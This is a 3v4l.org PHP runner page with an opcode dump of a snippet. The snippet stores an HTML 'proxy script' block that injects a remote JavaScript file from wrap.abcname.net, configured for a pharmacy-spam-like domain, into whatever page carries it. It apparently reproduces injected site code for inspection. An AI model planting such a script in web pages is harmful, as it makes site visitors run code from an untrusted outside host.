3v4l.org

run code in 300+ PHP versions simultaneously
<?php $var = <<<FOO <!-- PROXY SCRIPT --> <div id="proxy-main-content"></div> <script id="proxy-script"> var proxyParams = { initURL: 'http://salon-drug.kiev.ua', pageURL: location.protocol +'//'+ location.hostname + location.pathname }; (function() { var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://wrap.abcname.net/js/proxy.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(script, s); })(); </script> <!-- PROXY SCRIPT END --> FOO;
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Rs3MY
function name:  (null)
number of ops:  2
compiled vars:  !0 = $var
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%3C%21--+PROXY+SCRIPT+--%3E%0A%3Cdiv+id%3D%22proxy-main-content%22%3E%3C%2Fdiv%3E%0A%3Cscript+id%3D%22proxy-script%22%3E%0A%09var+proxyParams+%3D+%7B%0A%09%09initURL%3A+%27http%3A%2F%2Fsalon-drug.kiev.ua%27%2C%0A%09%09pageURL%3A+location.protocol+%2B%27%2F%2F%27%2B+location.hostname+%2B+location.pathname%0A%09%7D%3B%0A%0A%09%28function%28%29+%7B%0A%09%09var+script+%3D+document.createElement%28%27script%27%29%3B+script.type+%3D+%27text%2Fjavascript%27%3B%0A%09%09script.src+%3D+%27http%3A%2F%2Fwrap.abcname.net%2Fjs%2Fproxy.js%27%3B%0A%09%09var+s+%3D+document.getElementsByTagName%28%27script%27%29%5B0%5D%3B%0A%09%09s.parentNode.insertBefore%28script%2C+s%29%3B%0A%09%7D%29%28%29%3B%0A%3C%2Fscript%3E%0A%3C%21--+PROXY+SCRIPT+END+--%3E'
   20     1      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
173.31 ms | 1392 KiB | 13 Q